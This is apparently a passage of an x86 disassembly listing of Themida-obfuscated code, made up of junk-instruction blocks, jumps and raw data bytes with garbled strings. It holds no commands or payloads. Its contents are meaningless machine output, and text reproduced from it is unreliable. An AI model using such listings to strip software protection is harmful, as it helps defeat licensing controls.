		dw 0C483h
		dd 11EF8004h, 0FFED61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561F69:				; CODE XREF: Themida_:005658CFj
		or	eax, eax
		jz	loc_561B75
		push	edx
		mov	edx, 1Ch
		sub	edx, 6CC62CDDh
		sub	edx, 14414663h
		add	edx, edi
		push	ebx
		mov	ebx, 0D34900h
		jmp	loc_56F00E
; ---------------------------------------------------------------------------


loc_561F90:				; CODE XREF: Themida_:0056F5CFj
		mov	ebx, 6785231Ah
		mov	ebp, ebx
		pop	ebx
		mov	eax, 987ADCE7h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56A302
; ---------------------------------------------------------------------------
		db 4Eh,	0F7h, 0D6h
aBu9lfsfi	db 'îØ9Läéäˆ',0
		dw 5E00h
		dd 4A4EEE81h, 0F589FE6Eh, 8BE9015Eh, 0C481242Ch, 4, 0C85EA105h
		dd 45EB0533h, 342D3752h, 17F2074h, 743405C8h, 0EB2D7F20h
		dd 0E9375245h, 0DC12h, 81240C8Bh, 4C4h,	24048700h, 3124248Bh
		dd 1BE92404h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562007:				; CODE XREF: Themida_:0056B23Cj
		sub	edi, 2C560DD8h
		pop	esi
		push	ebp
		jmp	loc_56165A
; ---------------------------------------------------------------------------
		dd 405h, 24048700h, 1258E95Ch, 4050000h, 0E9000000h, 328Ch
		dd 0B2523AB3h, 5AD3003Fh, 0EB80E328h, 0CB30583Fh, 536F0459h
		dd 8BE9A8B7h, 87FFFFF9h, 0E95C243Ch, 0FFFFA3D2h, 37C68h
		dd 242C8900h, 6019E9h, 81E28900h, 4C2h,	4C28300h, 5C241487h
		dd 0FFAA1EE9h, 2434FFFFh, 8324048Bh, 316804C4h,	89000047h
		dd 0E189240Ch, 6E3AB850h, 72E9456Dh, 330000EEh,	14312414h
		dd 24143324h, 0FFCFE8E9h, 0E08950FFh, 405h, 4C08300h, 0E9240487h
		dd 9161h, 83242C8Bh, 535604C4h,	0E35E2C68h, 0EBC15B03h
		dd 81D3F706h, 1C3h, 0B73E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5620CE:				; CODE XREF: Themida_:005665B1j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_564E58
; ---------------------------------------------------------------------------


loc_5620D8:				; CODE XREF: Themida_:0055E314j
		inc	eax
		dec	eax
		add	eax, 40D6045Ch
		or	ebx, eax
		pop	eax
		add	ebx, 5B583A0Fh
		shl	ebx, 2
		add	ebx, 1F181081h
		jmp	loc_562B83
; ---------------------------------------------------------------------------
		dw 0C268h
		dd 0FF274919h, 0E95B2434h, 0FFFFEB12h, 582434FFh, 7BDC6855h
		dd 89530000h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2424895Ch
		dd 4EC81h, 4890000h, 0AEA9E924h, 0E95BFFFFh, 12CDh, 8159CF01h
		dd 4C7h, 0BBF3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562146:				; CODE XREF: Themida_:00566868j
		sub	edx, 10FA49F9h
		mov	ebp, [esp]
		jmp	loc_567827
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 0E97FE900h,	0E581FFFFh, 458A31FAh
		dd 1B6F581h, 0F2E94080h, 52FFFFDAh, 42474FFh, 24048F5Ah
		dd 2A99E95Ch, 77FF0000h, 59669D1Ch, 2414D366h, 0A290E99Ch
		dd 74FFFFFFh, 8F590424h, 71E92404h, 66000065h, 4038ED81h
		dd 7CC58166h, 0CD016601h, 6C016659h, 5D660224h,	9953E9h
		dd 4C38100h, 150454Ch, 18F1E9FBh, 15E0000h, 0E9042474h
		dd 0FFFFEEF8h, 104C483h, 0CF095DE9h, 0BE5FE959h, 0BE560000h
		dd 3F407327h, 2414F756h, 3FBA525Eh, 51181827h, 8C6D8DB9h
		dd 64E9816Fh, 17FD119h,	0D62159CAh, 45CE815Ah, 0F7757934h
		dd 0C6814EDEh, 0AF1E8CDDh, 0FFDF2BE9h, 4C481FFh, 52000000h
		dd 0FFC884E9h, 0CA8158FFh, 0DE97275h, 0E907E2C1h, 0FFFFAAD6h
		dd 0E9D70158h, 24ACh
; ---------------------------------------------------------------------------


loc_562238:				; CODE XREF: Themida_:005680DEj
		mov	edx, [esp]
		add	esp, 4
		push	7C85h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		jmp	loc_564EA9
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C7h, 41BC6800h, 1C890000h, 4BB24h, 0DF290000h, 0E92434FFh
		dd 0FFFFFEC2h, 0FFA1ADE9h, 3897BFFFh, 0F8016D41h, 58C3015Fh
		dd 0EB81DBF7h, 0FAC05E57h, 0E95BDE01h, 2E1Ch, 7BE4C181h
		dd 0C12911C2h, 7BE4E981h, 5A5811C2h, 8B240C87h,	0C8852424h
		dd 0A174E99Ch, 0EE01FFFFh, 4C6835Dh, 308DE9h, 24148900h
		dd 0D388EA88h, 240C8B5Ah, 9D8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5622C9:				; CODE XREF: Themida_:00560343j
		push	dword ptr [esp]
		jmp	loc_5613AA
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48358h, 8B24048Fh,	34FF2424h, 2434FF24h, 0D5E9h, 37E95B00h
		dd 510000A9h, 2B9h, 0E9C80100h,	404Fh
; ---------------------------------------------------------------------------


loc_5622FC:				; CODE XREF: Themida_:00564000j
		xor	ecx, 59C3D06h
		and	ecx, 3A673A97h
		add	ecx, 0DDDEC7FFh
		push	32F2h
		mov	[esp], edi
		jmp	loc_565157
; ---------------------------------------------------------------------------
		db 8Bh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_56147E
; ---------------------------------------------------------------------------
		db 0F7h
aSI		db 'Òé%©',0
		align 2
		dw 4BFh
		dd 1000000h, 4875FF8h, 34FF5C24h, 243C8B24h, 4EC81h, 49E90000h
		dd 8100004Eh, 4C6h, 4C68100h, 0E9000000h, 92C9h
; ---------------------------------------------------------------------------


loc_56236C:				; CODE XREF: Themida_:0055FCC6j
		pop	ebp
		jmp	loc_570AC1
; ---------------------------------------------------------------------------
a1hb		db '²1hb%',0
		dd 241C8900h, 93D68h, 24148900h, 0B450DEB6h, 8E4C05Bh
		dd 0EAE9C4FEh, 87000029h, 60E92434h, 5BFFFFA9h,	0F381DBF7h
		dd 443A3E20h, 8303E3C1h, 3C8904ECh, 5EE95024h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5623B3:				; CODE XREF: Themida_:0055FBD8j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_560C37
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 5204C483h,	2DE9E289h, 5300003Bh, 4C4DE9h
		dd 0FE19B500h, 0CFC580C5h, 8307E5C0h, 896602ECh, 0AAE92414h
		dd 10000C2h, 0E9042474h, 3691h,	3B2E7005h, 2DD00166h, 663B2E70h
		dd 2D3E685Ah, 4890000h,	2474FF24h, 0FEBFE904h, 0BEFFFFh
		dd 29000000h, 575E96C6h, 0F44CE4BFh, 4FBA525Dh,	31C89C0Bh
		dd 0BE565AD7h, 10BF692Ah, 0FFD11DE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_57121E
; ---------------------------------------------------------------------------
aPhP		db 'PhÎp',0
		dw 8900h
		dd 4812424h, 424h, 24048B00h, 81E18951h, 4C1h, 4C18300h
		dd 5C240C87h, 673AB951h, 26E94509h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56246B:				; CODE XREF: Themida_:00568F44j
		mov	[esp], ebx
		push	3035675Ch
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55F7E2
; ---------------------------------------------------------------------------
		dd 5D59E381h, 0F381384Eh, 55123774h, 0F75B5F53h, 0EF8147DFh
		dd 69F84CB1h, 0CB19C781h, 0C2811098h, 1D377EE0h, 0FFBD7EE9h
		dd 685658FFh, 29D6h, 68241489h,	2540B05h, 0A9CA815Ah, 50251124h
		dd 6CBDF8B8h, 58C229BAh, 148BD689h, 0ACA2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5624D6:				; CODE XREF: Themida_:0056E7D0j
		push	7A8Dh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5605EA
; ---------------------------------------------------------------------------
		dd 0FF9F31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5624F1:				; CODE XREF: Themida_:0055F7C3j
		add	edx, eax
		mov	ecx, [edx]
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	6C7Eh
		jmp	loc_56A2A8
; ---------------------------------------------------------------------------


loc_562506:				; CODE XREF: Themida_:0056B5F9j
		mov	ebp, 7F65FCAh
		add	ebp, 587D19EEh
		neg	ebp
		jmp	loc_570346
; ---------------------------------------------------------------------------


loc_562518:				; CODE XREF: Themida_:0056449Dj
		pop	edi
		jmp	loc_566424
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 61772C0h, 0ED57E9h
		db 0
; ---------------------------------------------------------------------------


loc_562529:				; CODE XREF: Themida_:00563DD9j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0CB0057B1h, 81240C8Bh, 4C4h,	5AE95800h, 5D00000Ch, 8C12E9h
		dd 80A2B700h, 0E7C031F7h, 2FEF8007h, 0F6FD8851h, 0EC8850D5h
		dd 48BE788h, 0A4DCE924h, 0BF57FFFFh, 653E3708h,	4CAE9h
		dd 0F1205800h, 0C1F1805Ah, 3059C830h, 0C0B60FC3h, 0FF8734FFh
		dd 0CDE92434h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562597:				; CODE XREF: Themida_:00566BBAj
		push	edx
		mov	edx, 2CF629Bh
		jmp	loc_56D570
; ---------------------------------------------------------------------------
		dw 48B0h
		dd 142C5E2Ch, 8058C208h, 0EC81B7EAh, 4,	0B0240489h, 0E9C23062h
		dd 6FABh, 4C481h, 14E90000h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5625CB:				; CODE XREF: Themida_:0055D311j
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edi
		push	edi
		mov	edi, esp
		push	1560h
		mov	[esp], edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_56A419
; ---------------------------------------------------------------------------


loc_5625EF:				; CODE XREF: Themida_:0056598Fj
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_565668
; ---------------------------------------------------------------------------
		dw 555Eh
		dd 7EE9CD89h, 5CFFFFBAh, 4C281h, 0BB530000h, 76C07CB1h
		dd 3FEDCB81h, 0EB812DEBh, 7D8F056Bh, 8106EBC1h,	971EEF3h
		dd 5BDA0100h, 0E9241487h, 0FFFFF227h
; ---------------------------------------------------------------------------


loc_562634:				; CODE XREF: Themida_:00569E75j
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	4B19h
		mov	[esp], ebx
		push	edx
		push	17ECh
		jmp	loc_5712DE
; ---------------------------------------------------------------------------
		db 5, 1Dh, 73h
		dd 34E9BB0Fh, 530000BFh, 7AEFE9h, 6F5DBD00h, 0C5817A99h
		dd 511E54D4h, 1C581h, 9C680000h, 0E9000014h, 0FFFFA6CFh
		dd 428CBD55h, 4D45419Fh, 58A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_56268D:				; CODE XREF: Themida_:0056CC8Ej
		add	ebx, 85E4462Fh
		mov	edi, ebx
		jmp	loc_570B85
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 0CE04E904h, 3C890000h, 0AE685524h, 8B247A45h, 0E5E9242Ch
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626B3:				; CODE XREF: Themida_:00562A03j
		mov	[esp], edx
		jmp	loc_5600FD
; ---------------------------------------------------------------------------
aSsS		db 'Sé',9,'s',0
		db 0
; ---------------------------------------------------------------------------


loc_5626C1:				; CODE XREF: Themida_:0056601Dj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	7FA7h
		mov	[esp], ebx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_56DECE
; ---------------------------------------------------------------------------
		db 81h
		dd 0F19DB4F6h, 5EF131EEh, 0FFD130E9h, 240C87FFh, 2434335Ch
		dd 5335E9h, 0D830AC00h,	53525166h, 69B2BBB7h, 505BFA00h
		dd 2440E9h, 0E9FD8900h,	4C18h
; ---------------------------------------------------------------------------


loc_562714:				; CODE XREF: Themida_:0056D34Dj
		sub	ebp, edi
		add	ebp, 0AA95574h
		push	3F5Ch
		mov	[esp], edx
		mov	edx, 74117815h
		add	ebp, edx
		pop	edx
		jmp	loc_561C9B
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 73h
		dd 597F1556h, 592434FFh, 2D8568h, 241C8900h, 0C381E389h
		dd 4, 8704C383h, 815C241Ch, 784EB6C3h, 81D32912h, 784EB6EBh
		dd 52505A12h, 33E9E289h, 8B00002Ah, 0C4832434h,	4EC8104h
		dd 89000000h, 6AE9241Ch, 8300008Ah, 348704C6h, 0AF2FE924h
		dd 0C329FFFFh, 0F33BE958h, 8953FFFFh, 0ED2FE9E3h, 7C01FFFFh
		dd 5D5F0424h, 0BA1CE9h,	81C20100h, 4ECh, 241C8900h, 5CA8E9h
		dd 0E930FF00h, 0FFFF9C66h, 8904EC83h, 0A5E92414h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5627C7:				; CODE XREF: Themida_:005699AFj
		push	edx
		jmp	loc_56C5AE
; ---------------------------------------------------------------------------


loc_5627CD:				; CODE XREF: Themida_:0056D64Cj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55D18B
; ---------------------------------------------------------------------------


loc_5627DB:				; CODE XREF: Themida_:0056A41Cj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_561621
; ---------------------------------------------------------------------------
aXhhg		db 'XhhG',0
		dw 8900h
		dd 3E9240Ch, 81000037h,	4C6h, 3F56E900h, 89520000h, 0C031E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562832:				; CODE XREF: Themida_:0056DCCBj
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_5687B3
; ---------------------------------------------------------------------------
		db 0ACh
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 0E9241489h, 5907h
		dd 0FF54525Ch, 148B2434h, 0B410E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562866:				; CODE XREF: Themida_:0056F66Aj
		sub	esi, 74017571h
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		push	31BAh
		mov	[esp], esi
		jmp	loc_562900
; ---------------------------------------------------------------------------
		dd 68242C89h, 50261919h, 0E9D5F75Dh, 0FFFFE75Fh, 0CBBE565Bh
		dd 52DBB0Fh, 10C804EFh,	0EF2DF029h, 5E10C804h, 0B164ED2Dh
		dd 5C80135h, 35B164EDh,	0BB0FCB05h, 2434FF2Dh, 81240C8Bh
		dd 4C4h, 0FEC4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5628CE:				; CODE XREF: Themida_:00566D75j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	5103h
		mov	[esp], edx
		mov	edx, 32023CF2h
		jmp	loc_5641C9
; ---------------------------------------------------------------------------


loc_5628EA:				; CODE XREF: Themida_:00562BB1j
		pop	ebp
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_567DF2
; ---------------------------------------------------------------------------


loc_562900:				; CODE XREF: Themida_:00562883j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56FF84
; ---------------------------------------------------------------------------


loc_56290F:				; CODE XREF: Themida_:005699A0j
		shl	edx, 2
		push	eax
		mov	eax, 20654CA5h
		shr	eax, 8
		jmp	loc_56DBC2
; ---------------------------------------------------------------------------


loc_562920:				; CODE XREF: Themida_:0056D5E6j
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], ebx
		push	ebx
		push	eax
		mov	eax, 22B112F3h
		push	eax
		pop	ebx
		pop	eax
		xor	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_56D757
; ---------------------------------------------------------------------------


loc_562942:				; CODE XREF: Themida_:0056B2B0j
		push	ebp
		jmp	loc_55FFDD
; ---------------------------------------------------------------------------
		dd 0B9E9C831h, 5AFFFFACh, 31243433h, 34332434h,	0E89AE924h
		dd 0EF830000h, 1EF81FFh, 0C1000000h, 5F6802E7h,	8900007Ch
		dd 0D3BB241Ch, 93B8C4Eh, 0EF815BDFh, 76B722D4h,	0D3F9BA52h
		dd 0D5E936D9h, 56000005h, 468h,	0F830E900h, 0C681FFFFh
		dd 929BB444h, 0BB44672Dh, 3F3CE95Fh, 8B590000h,	0C4832414h
		dd 54B36804h, 0C890000h, 4B924h, 6E90000h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5629BF:				; CODE XREF: Themida_:0056512Cj
		xor	ebp, 346E7962h
		jmp	loc_55C87E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 764072F2h, 6D6268h, 24048900h, 2EB565B8h, 58C189DFh
		dd 73C4C181h, 0D2E929C0h, 1000052h, 24148BD0h, 0FF9BFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5629F5:				; CODE XREF: Themida_:00561C8Ej
		add	esp, 4
		shr	ebp, 2
		push	21C5h
		jmp	loc_5626B3
; ---------------------------------------------------------------------------
		dd 60B72D5Eh, 0C6E903F2h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562A13:				; CODE XREF: Themida_:0055DA32j
		push	dword ptr [ebx]
		push	edx
		push	edi
		mov	edi, 2201950h
		sub	edi, 73D73F38h
		xor	edi, 52D77F0Bh
		and	edi, 68DF0089h
		push	ebx
		jmp	loc_565E73
; ---------------------------------------------------------------------------


loc_562A34:				; CODE XREF: Themida_:0056353Aj
		mov	ecx, 11855859h
		mov	esi, ecx
		pop	ecx
		sub	esi, 11855855h
		jmp	loc_560C2C
; ---------------------------------------------------------------------------
		db 29h
		dd 243C8BF9h, 8104C483h, 4045CEEEh, 81CE012Dh, 4045CEC6h
		dd 0BC7FE92Dh, 0C581FFFFh, 0BA74880h, 255DE831h, 48443A21h
		dd 82750E35h, 5F75351Ah, 0AA0546AFh, 1EB92E7h, 0E98358C1h
		dd 0E1A7E904h, 0EE830000h, 52D6F701h, 424B28BAh, 0E9D60974h
		dd 92D5h, 9498EA81h, 0D001F44Fh, 0FFF483E9h, 41CC68FFh
		dd 34890000h, 4B95124h,	89000000h, 240C8BCEh, 104C483h
		dd 24348BF0h, 0E95E5456h, 0FFFFA177h, 31241433h, 8BE92414h
		dd 0BEFFFFAAh, 338E7292h, 815EF221h, 870676C2h,	5AD1016Fh
		dd 81243C8Bh, 4C4h, 240C3300h, 33240C31h, 248B240Ch, 24D36624h
		dd 1BE99C24h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B07:				; CODE XREF: Themida_:00570235j
		add	esi, 426F4797h
		jmp	loc_568AC9
; ---------------------------------------------------------------------------
		dw 1C89h
aSv		db '$éV>',0
		align 2


loc_562B1A:				; CODE XREF: Themida_:0056613Bj
		pop	eax
		add	edi, 42FF6E18h
		jmp	loc_56C2C7
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0E44CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B2E:				; CODE XREF: Themida_:00568F77j
		add	esi, ebx
		jmp	loc_564586
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0FCh
		dd 81FFFFF7h, 0FC3F88C1h, 0E04E924h, 14330000h,	24143124h
		dd 5C241433h, 0FF98CDE9h, 74AD05FFh, 9E055FB1h,	5B73E560h
		dd 31240433h, 4332404h,	9F32E924h, 35590000h, 518A51E8h
		dd 0E958C201h, 5015h
; ---------------------------------------------------------------------------


loc_562B7C:				; CODE XREF: Themida_:0055C4EBj
		xchg	edi, esi
		jmp	loc_565F2F
; ---------------------------------------------------------------------------


loc_562B83:				; CODE XREF: Themida_:005620F1j
		sub	ebx, 1133B438h
		mov	esi, ebx
		pop	ebx
		jmp	loc_55CB5B
; ---------------------------------------------------------------------------
		db 1, 0C7h, 0E9h
		dd 596Ch, 0E9240433h, 0FFFFBBEFh
; ---------------------------------------------------------------------------


loc_562BA0:				; CODE XREF: Themida_:00567C2Dj
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		db 0BEh, 74h, 22h
		dd 5CE91D5Ah
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562BAF:				; CODE XREF: Themida_:0056886Cj
		add	edx, ebp
		jmp	loc_5628EA
; ---------------------------------------------------------------------------
		dw 3A68h
		dd 0E97FB72Bh, 0E238h
; ---------------------------------------------------------------------------


loc_562BC0:				; CODE XREF: Themida_:0055D62Fj
		pop	eax
		add	esp, 4
		xor	ch, 37h
		jmp	loc_570C3D
; ---------------------------------------------------------------------------


loc_562BCC:				; CODE XREF: Themida_:00561531j
		add	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 73512AF2h
		neg	eax
		sub	eax, 1
		jmp	loc_56C909
; ---------------------------------------------------------------------------
		db 81h
		dd 0D8CD94C1h, 59CD896Bh, 2C8B5E55h, 4C48324h, 0FFC2C8E9h
		dd 8BE981FFh, 1ECE65Ah,	0D83159CBh, 0D9B8E95Bh,	0C481FFFFh
		dd 4, 447768h, 0F14AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562C16:				; CODE XREF: Themida_:0056AF58j
		push	ebx
		push	esi
		jmp	loc_56F805
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 9639E9h, 242C8900h, 0BF7CBFBDh, 0D3E5816Fh, 4D2A871Fh
		dd 0FFDE67E9h, 5BDF09FFh, 0D409E9h, 8CF38100h, 89FFF072h
		dd 0F5015BDEh, 8124348Bh, 4C4h,	0E0895000h, 405h, 4E88300h
		dd 5C240487h, 68241C89h, 2, 5BDD015Bh, 31242C33h, 2C33242Ch
		dd 0C8845C24h, 97A0E99Ch, 6866FFFFh, 68662344h,	89665F61h
		dd 68662424h, 89662ED9h, 6651242Ch, 50498EB9h, 1EA6B866h
		dd 0DDD4E9h
		db 0
; ---------------------------------------------------------------------------


loc_562CA5:				; CODE XREF: Themida_:005658A5j
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_569729
		push	dword ptr [edi+1Ch]
		jmp	loc_570E4D
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 0BA24h, 0DAE90000h, 5FFFFFAh, 4, 5C240487h
		dd 8753E9h, 5A545200h, 36F168h,	243C8900h, 4BFh, 0BCC28100h
		dd 165C54Eh, 0BCEA81FAh, 5F65C54Eh, 4C281h, 14870000h
		dd 9132E924h, 815E0000h, 4ECh, 241C8900h, 4BBh,	0E5C68100h
		dd 102626Ch, 0E5EE81DEh, 8B02626Ch, 5B68241Ch, 89000001h
		dd 0E2892414h, 4C281h, 0C2810000h, 4, 8C5DE9h, 5EBCBD00h
		dd 0F7557859h, 4D5D2414h, 0FFFFC581h, 0C581FFFFh, 0B8A496E2h
		dd 505DE929h, 616A59B8h, 8BE94013h, 0B4FFFFC5h,	0BE3DE979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562D6E:				; CODE XREF: Themida_:0056DBD2j
		shl	ebx, 2
		shl	ebx, 4
		push	4DF6h
		mov	[esp], ecx
		mov	ecx, 656127A7h
		shl	ecx, 6
		jmp	loc_55F621
; ---------------------------------------------------------------------------
		db 5Eh,	68h, 0F8h
		dd 0E9000074h, 0FFFFE305h, 4C4835Eh, 0BA7F0005h, 79DE96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562DA2:				; CODE XREF: Themida_:00561C43j
		push	eax
		jmp	loc_568A85
; ---------------------------------------------------------------------------


loc_562DA8:				; CODE XREF: Themida_:0056F87Ej
		pop	edx
		jmp	loc_56DB20
; ---------------------------------------------------------------------------
aZsvb		db 'Zé‚¡',0
		align 4


loc_562DB4:				; CODE XREF: Themida_:0055D0CDj
		push	77FE0933h
		pop	esi
		jmp	loc_568B69
; ---------------------------------------------------------------------------
		db 81h
		dd 38D094F6h, 5EF0899Dh, 0FFE4B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562DCD:				; CODE XREF: Themida_:00566442j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0B5h
		dd 0E90DC238h, 0FFFFE957h, 0F181E9D1h, 2B781B9Ah, 3CFEF181h
		dd 0E9494C50h, 9C35h, 33242C31h, 0FF5C242Ch, 34FF2434h
		dd 0EC835924h, 243C8904h, 543FE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562E12:				; CODE XREF: Themida_:0056ECDEj
		mov	ecx, 4084156Fh
		jmp	loc_5638E5
; ---------------------------------------------------------------------------


loc_562E1C:				; CODE XREF: Themida_:0056F191j
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esi
		mov	ebx, edi
		pop	edi
		jmp	loc_56C38F
; ---------------------------------------------------------------------------
		dd 4B4103BFh, 1C7816Ch,	193B4BFh, 0E9835FF9h, 240C8704h
		dd 6824248Bh, 4F41h, 0E9242489h, 0FFFFA79Dh, 0C3BE6656h
		dd 0DEF76637h, 0E9E95266h, 0FF0000C9h, 68592434h, 7655h
		dd 89240C89h, 708468E1h, 3C890000h, 68BABF24h, 0DE94297h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562E83:				; CODE XREF: Themida_:0056F7B6j
		mov	esp, [esp]
		push	2ECCh
		mov	[esp], ebp
		jmp	loc_5658D4
; ---------------------------------------------------------------------------
		db 89h
		dd 0CBE9240Ch, 810000B1h, 215906E9h, 2434FF27h,	0F36BE95Eh
		dd 875DFFFFh, 248B2414h, 0FFD03024h, 0BFE92434h, 0BD00003Ch
		dd 69487EC3h, 0FF9566E9h, 0D6F75DFFh, 7CF5BB53h, 0DE092EBAh
		dd 0F7BF575Bh, 813E730Dh, 661BA8CFh, 81E7D157h,	9D5D51F7h
		dd 0DE77E97Eh, 0B568FFFFh, 8900002Fh, 0E5B3241Ch, 0FFF8C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562EF9:				; CODE XREF: Themida_:00569CE5j
		sub	edx, 41AA1DC8h
		sub	edx, ebp
		push	ebp
		mov	ebp, 69A10597h
		inc	ebp
		inc	ebp
		or	ebp, 2DCC07BAh
		jmp	loc_5604B0
; ---------------------------------------------------------------------------
		dd 582434FFh, 0E904C483h, 0FFFF9B8Fh, 0EBEE815Dh, 81DEFDEAh
		dd 9C2C20C1h, 5DC18117h, 8167671Ah, 0CE586AE9h,	0F8C18173h
		dd 1001C02h, 0F8E981F1h, 81001C02h, 0CE586AC1h,	923AE973h
		dd 8B660000h, 2A682404h, 0E900005Ah, 9D33h, 815AD701h
		dd 0CD4403EDh, 0E9FD0151h, 81B4h
; ---------------------------------------------------------------------------


loc_562F70:				; CODE XREF: Themida_:005688E0j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55F9AA
; ---------------------------------------------------------------------------
		db 81h
		dd 0BCF309C6h, 5EF529AFh, 2C8BEF01h, 0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 0CC6BE9h, 24048700h, 0C024248Bh
		dd 5BE902EDh, 8800000Eh, 24148BF3h, 4C481h, 34FF0000h
		dd 16E95824h, 53FFFFFDh, 1D7E9h, 32EE8100h, 0C121870Ah
		dd 0EE8107EEh, 0FFFFFFFFh, 4EC81h, 4890000h, 6813E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562FE6:				; CODE XREF: Themida_:0055F7E8j
		push	2C95h
		mov	[esp], edi
		mov	edi, 139E639Ah
		sub	edi, 0B13394E4h
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_55D56B
; ---------------------------------------------------------------------------
aYiS		db 'Y‰ÍéÇÞ',0
		align 2
aXypiIxxzhA	db 'XYPˆÔˆåXZh¹A',0
		align 10h
		dd 88241C89h, 5BFE88EFh, 0FFA0D2E9h, 0FBE95DFFh, 89FFFFA8h
		dd 4C181E1h, 53000000h,	0FE3BC5BBh, 0A679E976h,	815A0000h
		dd 4C2h, 4BE5600h, 29000000h, 0C2F8E9F2h, 0DE89FFFFh, 2474295Bh
		dd 34FF5E04h, 0C4835824h, 91BE5604h, 817E7C37h,	4ECh, 1ACAE900h
		db 2 dup(0)
